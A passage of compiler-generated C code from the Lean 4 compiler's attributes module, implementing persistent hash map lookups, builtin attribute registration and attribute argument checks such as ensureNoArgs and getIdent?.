x_10 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_5, x_8, x_9, x_2, x_3);
x_11 = lean_unsigned_to_nat(1u);
x_12 = lean_nat_add(x_6, x_11);
lean_dec(x_6);
lean_ctor_set(x_1, 1, x_12);
lean_ctor_set(x_1, 0, x_10);
return x_1;
}
else
{
lean_object* x_13; lean_object* x_14; uint64_t x_15; size_t x_16; size_t x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21;
x_13 = lean_ctor_get(x_1, 0);
x_14 = lean_ctor_get(x_1, 1);
lean_inc(x_14);
lean_inc(x_13);
lean_dec(x_1);
x_15 = l_Lean_Name_hash___override(x_2);
x_16 = lean_uint64_to_usize(x_15);
x_17 = 1;
x_18 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_13, x_16, x_17, x_2, x_3);
x_19 = lean_unsigned_to_nat(1u);
x_20 = lean_nat_add(x_14, x_19);
lean_dec(x_14);
x_21 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_21, 0, x_18);
lean_ctor_set(x_21, 1, x_20);
return x_21;
}
}
}
LEAN_EXPORT uint8_t l_Lean_PersistentHashMap_containsAtAux___at_Lean_registerBuiltinAttribute___spec__7(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6; uint8_t x_7;
x_6 = lean_array_get_size(x_1);
x_7 = lean_nat_dec_lt(x_4, x_6);
lean_dec(x_6);
if (x_7 == 0)
{
uint8_t x_8;
lean_dec(x_4);
x_8 = 0;
return x_8;
}
else
{
lean_object* x_9; uint8_t x_10;
x_9 = lean_array_fget(x_1, x_4);
x_10 = lean_name_eq(x_5, x_9);
lean_dec(x_9);
if (x_10 == 0)
{
lean_object* x_11; lean_object* x_12;
x_11 = lean_unsigned_to_nat(1u);
x_12 = lean_nat_add(x_4, x_11);
lean_dec(x_4);
x_3 = lean_box(0);
x_4 = x_12;
goto _start;
}
else
{
uint8_t x_14;
lean_dec(x_4);
x_14 = 1;
return x_14;
}
}
}
}
LEAN_EXPORT uint8_t l_Lean_PersistentHashMap_containsAux___at_Lean_registerBuiltinAttribute___spec__6(lean_object* x_1, size_t x_2, lean_object* x_3) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_4; size_t x_5; size_t x_6; size_t x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10;
x_4 = lean_ctor_get(x_1, 0);
lean_inc(x_4);
lean_dec(x_1);
x_5 = 5;
x_6 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2;
x_7 = lean_usize_land(x_2, x_6);
x_8 = lean_usize_to_nat(x_7);
x_9 = lean_box(2);
x_10 = lean_array_get(x_9, x_4, x_8);
lean_dec(x_8);
lean_dec(x_4);
switch (lean_obj_tag(x_10)) {
case 0:
{
lean_object* x_11; uint8_t x_12;
x_11 = lean_ctor_get(x_10, 0);
lean_inc(x_11);
lean_dec(x_10);
x_12 = lean_name_eq(x_3, x_11);
lean_dec(x_11);
return x_12;
}
case 1:
{
lean_object* x_13; size_t x_14;
x_13 = lean_ctor_get(x_10, 0);
lean_inc(x_13);
lean_dec(x_10);
x_14 = lean_usize_shift_right(x_2, x_5);
x_1 = x_13;
x_2 = x_14;
goto _start;
}
default:
{
uint8_t x_16;
x_16 = 0;
return x_16;
}
}
}
else
{
lean_object* x_17; lean_object* x_18; lean_object* x_19; uint8_t x_20;
x_17 = lean_ctor_get(x_1, 0);
lean_inc(x_17);
x_18 = lean_ctor_get(x_1, 1);
lean_inc(x_18);
lean_dec(x_1);
x_19 = lean_unsigned_to_nat(0u);
x_20 = l_Lean_PersistentHashMap_containsAtAux___at_Lean_registerBuiltinAttribute___spec__7(x_17, x_18, lean_box(0), x_19, x_3);
lean_dec(x_18);
lean_dec(x_17);
return x_20;
}
}
}
LEAN_EXPORT uint8_t l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; uint64_t x_4; size_t x_5; uint8_t x_6;
x_3 = lean_ctor_get(x_1, 0);
lean_inc(x_3);
lean_dec(x_1);
x_4 = l_Lean_Name_hash___override(x_2);
x_5 = lean_uint64_to_usize(x_4);
x_6 = l_Lean_PersistentHashMap_containsAux___at_Lean_registerBuiltinAttribute___spec__6(x_3, x_5, x_2);
lean_dec(x_2);
return x_6;
}
}
static lean_object* _init_l_Lean_registerBuiltinAttribute___lambda__1___closed__1() {
_start:
{
lean_object* x_1;
x_1 = l_Lean_attributeMapRef;
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11; uint8_t x_12;
x_4 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_5 = lean_st_ref_take(x_4, x_3);
x_6 = lean_ctor_get(x_5, 0);
lean_inc(x_6);
x_7 = lean_ctor_get(x_5, 1);
lean_inc(x_7);
lean_dec(x_5);
x_8 = lean_ctor_get(x_1, 0);
lean_inc(x_8);
x_9 = lean_ctor_get(x_8, 1);
lean_inc(x_9);
lean_dec(x_8);
x_10 = l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(x_6, x_9, x_1);
x_11 = lean_st_ref_set(x_4, x_10, x_7);
x_12 = !lean_is_exclusive(x_11);
if (x_12 == 0)
{
return x_11;
}
else
{
lean_object* x_13; lean_object* x_14; lean_object* x_15;
x_13 = lean_ctor_get(x_11, 0);
x_14 = lean_ctor_get(x_11, 1);
lean_inc(x_14);
lean_inc(x_13);
lean_dec(x_11);
x_15 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_15, 0, x_13);
lean_ctor_set(x_15, 1, x_14);
return x_15;
}
}
}
static lean_object* _init_l_Lean_registerBuiltinAttribute___lambda__2___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("failed to register attribute, attributes can only be registered during initialization", 85);
return x_1;
}
}
static lean_object* _init_l_Lean_registerBuiltinAttribute___lambda__2___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_registerBuiltinAttribute___lambda__2___closed__1;
x_2 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_2, 0, x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute___lambda__2(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5; uint8_t x_6;
lean_dec(x_2);
x_4 = l_Lean_initializing(x_3);
x_5 = lean_ctor_get(x_4, 0);
lean_inc(x_5);
x_6 = lean_unbox(x_5);
lean_dec(x_5);
if (x_6 == 0)
{
uint8_t x_7;
lean_dec(x_1);
x_7 = !lean_is_exclusive(x_4);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_4, 0);
lean_dec(x_8);
x_9 = l_Lean_registerBuiltinAttribute___lambda__2___closed__2;
lean_ctor_set_tag(x_4, 1);
lean_ctor_set(x_4, 0, x_9);
return x_4;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_10 = lean_ctor_get(x_4, 1);
lean_inc(x_10);
lean_dec(x_4);
x_11 = l_Lean_registerBuiltinAttribute___lambda__2___closed__2;
x_12 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_12, 0, x_11);
lean_ctor_set(x_12, 1, x_10);
return x_12;
}
}
else
{
lean_object* x_13; lean_object* x_14; lean_object* x_15;
x_13 = lean_ctor_get(x_4, 1);
lean_inc(x_13);
lean_dec(x_4);
x_14 = lean_box(0);
x_15 = l_Lean_registerBuiltinAttribute___lambda__1(x_1, x_14, x_13);
return x_15;
}
}
}
static lean_object* _init_l_Lean_registerBuiltinAttribute___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("invalid builtin attribute declaration, '", 40);
return x_1;
}
}
static lean_object* _init_l_Lean_registerBuiltinAttribute___closed__2() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("' has already been used", 23);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_4 = lean_st_ref_get(x_3, x_2);
x_5 = !lean_is_exclusive(x_4);
if (x_5 == 0)
{
lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; uint8_t x_10;
x_6 = lean_ctor_get(x_4, 0);
x_7 = lean_ctor_get(x_4, 1);
x_8 = lean_ctor_get(x_1, 0);
lean_inc(x_8);
x_9 = lean_ctor_get(x_8, 1);
lean_inc(x_9);
lean_dec(x_8);
lean_inc(x_9);
x_10 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_6, x_9);
if (x_10 == 0)
{
lean_object* x_11; lean_object* x_12;
lean_dec(x_9);
lean_free_object(x_4);
x_11 = lean_box(0);
x_12 = l_Lean_registerBuiltinAttribute___lambda__2(x_1, x_11, x_7);
return x_12;
}
else
{
uint8_t x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19;
lean_dec(x_1);
x_13 = 1;
x_14 = l_Lean_Name_toString(x_9, x_13);
x_15 = l_Lean_registerBuiltinAttribute___closed__1;
x_16 = lean_string_append(x_15, x_14);
lean_dec(x_14);
x_17 = l_Lean_registerBuiltinAttribute___closed__2;
x_18 = lean_string_append(x_16, x_17);
x_19 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_19, 0, x_18);
lean_ctor_set_tag(x_4, 1);
lean_ctor_set(x_4, 0, x_19);
return x_4;
}
}
else
{
lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23; uint8_t x_24;
x_20 = lean_ctor_get(x_4, 0);
x_21 = lean_ctor_get(x_4, 1);
lean_inc(x_21);
lean_inc(x_20);
lean_dec(x_4);
x_22 = lean_ctor_get(x_1, 0);
lean_inc(x_22);
x_23 = lean_ctor_get(x_22, 1);
lean_inc(x_23);
lean_dec(x_22);
lean_inc(x_23);
x_24 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_20, x_23);
if (x_24 == 0)
{
lean_object* x_25; lean_object* x_26;
lean_dec(x_23);
x_25 = lean_box(0);
x_26 = l_Lean_registerBuiltinAttribute___lambda__2(x_1, x_25, x_21);
return x_26;
}
else
{
uint8_t x_27; lean_object* x_28; lean_object* x_29; lean_object* x_30; lean_object* x_31; lean_object* x_32; lean_object* x_33; lean_object* x_34;
lean_dec(x_1);
x_27 = 1;
x_28 = l_Lean_Name_toString(x_23, x_27);
x_29 = l_Lean_registerBuiltinAttribute___closed__1;
x_30 = lean_string_append(x_29, x_28);
lean_dec(x_28);
x_31 = l_Lean_registerBuiltinAttribute___closed__2;
x_32 = lean_string_append(x_30, x_31);
x_33 = lean_alloc_ctor(18, 1, 0);
lean_ctor_set(x_33, 0, x_32);
x_34 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_34, 0, x_33);
lean_ctor_set(x_34, 1, x_21);
return x_34;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6) {
_start:
{
size_t x_7; lean_object* x_8;
x_7 = lean_unbox_usize(x_1);
lean_dec(x_1);
x_8 = l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3(x_7, x_2, x_3, x_4, x_5, x_6);
lean_dec(x_3);
lean_dec(x_2);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
size_t x_6; size_t x_7; lean_object* x_8;
x_6 = lean_unbox_usize(x_2);
lean_dec(x_2);
x_7 = lean_unbox_usize(x_3);
lean_dec(x_3);
x_8 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2(x_1, x_6, x_7, x_4, x_5);
return x_8;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_containsAtAux___at_Lean_registerBuiltinAttribute___spec__7___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6; lean_object* x_7;
x_6 = l_Lean_PersistentHashMap_containsAtAux___at_Lean_registerBuiltinAttribute___spec__7(x_1, x_2, x_3, x_4, x_5);
lean_dec(x_5);
lean_dec(x_2);
lean_dec(x_1);
x_7 = lean_box(x_6);
return x_7;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_containsAux___at_Lean_registerBuiltinAttribute___spec__6___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
size_t x_4; uint8_t x_5; lean_object* x_6;
x_4 = lean_unbox_usize(x_2);
lean_dec(x_2);
x_5 = l_Lean_PersistentHashMap_containsAux___at_Lean_registerBuiltinAttribute___spec__6(x_1, x_4, x_3);
lean_dec(x_3);
x_6 = lean_box(x_5);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5___boxed(lean_object* x_1, lean_object* x_2) {
_start:
{
uint8_t x_3; lean_object* x_4;
x_3 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_1, x_2);
x_4 = lean_box(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_registerBuiltinAttribute___lambda__1(x_1, x_2, x_3);
lean_dec(x_2);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_ensureNoArgs___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6;
x_6 = !lean_is_exclusive(x_3);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_7 = lean_ctor_get(x_3, 5);
x_8 = l_Lean_replaceRef(x_1, x_7);
lean_dec(x_7);
lean_ctor_set(x_3, 5, x_8);
x_9 = l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(x_2, x_3, x_4, x_5);
lean_dec(x_3);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_10 = lean_ctor_get(x_3, 0);
x_11 = lean_ctor_get(x_3, 1);
x_12 = lean_ctor_get(x_3, 2);
x_13 = lean_ctor_get(x_3, 3);
x_14 = lean_ctor_get(x_3, 4);
x_15 = lean_ctor_get(x_3, 5);
x_16 = lean_ctor_get(x_3, 6);
x_17 = lean_ctor_get(x_3, 7);
x_18 = lean_ctor_get(x_3, 8);
x_19 = lean_ctor_get(x_3, 9);
x_20 = lean_ctor_get(x_3, 10);
lean_inc(x_20);
lean_inc(x_19);
lean_inc(x_18);
lean_inc(x_17);
lean_inc(x_16);
lean_inc(x_15);
lean_inc(x_14);
lean_inc(x_13);
lean_inc(x_12);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_3);
x_21 = l_Lean_replaceRef(x_1, x_15);
lean_dec(x_15);
x_22 = lean_alloc_ctor(0, 11, 0);
lean_ctor_set(x_22, 0, x_10);
lean_ctor_set(x_22, 1, x_11);
lean_ctor_set(x_22, 2, x_12);
lean_ctor_set(x_22, 3, x_13);
lean_ctor_set(x_22, 4, x_14);
lean_ctor_set(x_22, 5, x_21);
lean_ctor_set(x_22, 6, x_16);
lean_ctor_set(x_22, 7, x_17);
lean_ctor_set(x_22, 8, x_18);
lean_ctor_set(x_22, 9, x_19);
lean_ctor_set(x_22, 10, x_20);
x_23 = l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(x_2, x_22, x_4, x_5);
lean_dec(x_22);
return x_23;
}
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("unexpected attribute argument", 29);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2;
x_1 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__1;
x_2 = l_Lean_stringToMessageData(x_1);
return x_2;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("Attr", 4);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("simple", 6);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__5() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__3;
x_4 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__4;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__6() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("class", 5);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__7() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__3;
x_4 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__6;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_ensureNoArgs(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_11; lean_object* x_12; uint8_t x_13;
lean_inc(x_1);
x_11 = l_Lean_Syntax_getKind(x_1);
x_12 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__5;
x_13 = lean_name_eq(x_11, x_12);
if (x_13 == 0)
{
lean_object* x_14; uint8_t x_15;
x_14 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__7;
x_15 = lean_name_eq(x_11, x_14);
lean_dec(x_11);
if (x_15 == 0)
{
lean_object* x_16;
x_16 = lean_box(0);
x_5 = x_16;
goto block_10;
}
else
{
lean_object* x_17; lean_object* x_18;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_17 = lean_box(0);
x_18 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_18, 0, x_17);
lean_ctor_set(x_18, 1, x_4);
return x_18;
}
}
else
{
lean_object* x_19; lean_object* x_20; uint8_t x_21;
x_19 = lean_unsigned_to_nat(1u);
x_20 = l_Lean_Syntax_getArg(x_1, x_19);
x_21 = l_Lean_Syntax_isNone(x_20);
lean_dec(x_20);
if (x_21 == 0)
{
lean_object* x_22; uint8_t x_23;
x_22 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__7;
x_23 = lean_name_eq(x_11, x_22);
lean_dec(x_11);
if (x_23 == 0)
{
lean_object* x_24;
x_24 = lean_box(0);
x_5 = x_24;
goto block_10;
}
else
{
lean_object* x_25; lean_object* x_26;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_25 = lean_box(0);
x_26 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_26, 0, x_25);
lean_ctor_set(x_26, 1, x_4);
return x_26;
}
}
else
{
lean_object* x_27; lean_object* x_28; uint8_t x_29;
x_27 = lean_unsigned_to_nat(2u);
x_28 = l_Lean_Syntax_getArg(x_1, x_27);
x_29 = l_Lean_Syntax_isNone(x_28);
lean_dec(x_28);
if (x_29 == 0)
{
lean_object* x_30; uint8_t x_31;
x_30 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__7;
x_31 = lean_name_eq(x_11, x_30);
lean_dec(x_11);
if (x_31 == 0)
{
lean_object* x_32;
x_32 = lean_box(0);
x_5 = x_32;
goto block_10;
}
else
{
lean_object* x_33; lean_object* x_34;
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_33 = lean_box(0);
x_34 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_34, 0, x_33);
lean_ctor_set(x_34, 1, x_4);
return x_34;
}
}
else
{
lean_object* x_35; lean_object* x_36;
lean_dec(x_11);
lean_dec(x_3);
lean_dec(x_2);
lean_dec(x_1);
x_35 = lean_box(0);
x_36 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_36, 0, x_35);
lean_ctor_set(x_36, 1, x_4);
return x_36;
}
}
}
block_10:
{
lean_dec(x_5);
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_6; lean_object* x_7;
lean_dec(x_3);
lean_dec(x_2);
x_6 = lean_box(0);
x_7 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_7, 0, x_6);
lean_ctor_set(x_7, 1, x_4);
return x_7;
}
else
{
lean_object* x_8; lean_object* x_9;
x_8 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__2;
x_9 = l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_ensureNoArgs___spec__1(x_1, x_8, x_2, x_3, x_4);
lean_dec(x_3);
lean_dec(x_1);
return x_9;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_ensureNoArgs___spec__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6;
x_6 = l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_ensureNoArgs___spec__1(x_1, x_2, x_3, x_4, x_5);
lean_dec(x_4);
lean_dec(x_1);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
x_5 = lean_ctor_get(x_2, 5);
x_6 = l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(x_1, x_2, x_3, x_4);
x_7 = !lean_is_exclusive(x_6);
if (x_7 == 0)
{
lean_object* x_8; lean_object* x_9;
x_8 = lean_ctor_get(x_6, 0);
lean_inc(x_5);
x_9 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_9, 0, x_5);
lean_ctor_set(x_9, 1, x_8);
lean_ctor_set_tag(x_6, 1);
lean_ctor_set(x_6, 0, x_9);
return x_6;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13;
x_10 = lean_ctor_get(x_6, 0);
x_11 = lean_ctor_get(x_6, 1);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_6);
lean_inc(x_5);
x_12 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_12, 0, x_5);
lean_ctor_set(x_12, 1, x_10);
x_13 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_11);
return x_13;
}
}
}
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_getIdent_x3f___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
uint8_t x_6;
x_6 = !lean_is_exclusive(x_3);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8; lean_object* x_9;
x_7 = lean_ctor_get(x_3, 5);
x_8 = l_Lean_replaceRef(x_1, x_7);
lean_dec(x_7);
lean_dec(x_1);
lean_ctor_set(x_3, 5, x_8);
x_9 = l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2(x_2, x_3, x_4, x_5);
lean_dec(x_4);
lean_dec(x_3);
return x_9;
}
else
{
lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; lean_object* x_18; lean_object* x_19; lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_10 = lean_ctor_get(x_3, 0);
x_11 = lean_ctor_get(x_3, 1);
x_12 = lean_ctor_get(x_3, 2);
x_13 = lean_ctor_get(x_3, 3);
x_14 = lean_ctor_get(x_3, 4);
x_15 = lean_ctor_get(x_3, 5);
x_16 = lean_ctor_get(x_3, 6);
x_17 = lean_ctor_get(x_3, 7);
x_18 = lean_ctor_get(x_3, 8);
x_19 = lean_ctor_get(x_3, 9);
x_20 = lean_ctor_get(x_3, 10);
lean_inc(x_20);
lean_inc(x_19);
lean_inc(x_18);
lean_inc(x_17);
lean_inc(x_16);
lean_inc(x_15);
lean_inc(x_14);
lean_inc(x_13);
lean_inc(x_12);
lean_inc(x_11);
lean_inc(x_10);
lean_dec(x_3);
x_21 = l_Lean_replaceRef(x_1, x_15);
lean_dec(x_15);
lean_dec(x_1);
x_22 = lean_alloc_ctor(0, 11, 0);
lean_ctor_set(x_22, 0, x_10);
lean_ctor_set(x_22, 1, x_11);
lean_ctor_set(x_22, 2, x_12);
lean_ctor_set(x_22, 3, x_13);
lean_ctor_set(x_22, 4, x_14);
lean_ctor_set(x_22, 5, x_21);
lean_ctor_set(x_22, 6, x_16);
lean_ctor_set(x_22, 7, x_17);
lean_ctor_set(x_22, 8, x_18);
lean_ctor_set(x_22, 9, x_19);
lean_ctor_set(x_22, 10, x_20);
x_23 = l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2(x_2, x_22, x_4, x_5);
lean_dec(x_4);
lean_dec(x_22);
return x_23;
}
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("macro", 5);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__3;
x_4 = l_Lean_Attribute_Builtin_getIdent_x3f___closed__1;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("export", 6);
return x_1;
}
}
static lean_object* _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__4() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l___auto____x40_Lean_Attributes___hyg_266____closed__2;
x_3 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__3;
x_4 = l_Lean_Attribute_Builtin_getIdent_x3f___closed__3;
x_5 = l_Lean_Name_mkStr4(x_1, x_2, x_3, x_4);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getIdent_x3f(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5; lean_object* x_6; uint8_t x_7;
lean_inc(x_1);
x_5 = l_Lean_Syntax_getKind(x_1);
x_6 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__5;
x_7 = lean_name_eq(x_5, x_6);
if (x_7 == 0)
{
lean_object* x_8; uint8_t x_9;
x_8 = l_Lean_Attribute_Builtin_getIdent_x3f___closed__2;
x_9 = lean_name_eq(x_5, x_8);
if (x_9 == 0)
{
lean_object* x_10; uint8_t x_11;
x_10 = l_Lean_Attribute_Builtin_getIdent_x3f___closed__4;
x_11 = lean_name_eq(x_5, x_10);
lean_dec(x_5);
if (x_11 == 0)
{
lean_object* x_12; lean_object* x_13;
x_12 = l_Lean_Attribute_Builtin_ensureNoArgs___closed__2;
x_13 = l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_getIdent_x3f___spec__1(x_1, x_12, x_2, x_3, x_4);
return x_13;
}
else
{
lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17;
lean_dec(x_3);
lean_dec(x_2);
x_14 = lean_unsigned_to_nat(1u);
x_15 = l_Lean_Syntax_getArg(x_1, x_14);
lean_dec(x_1);
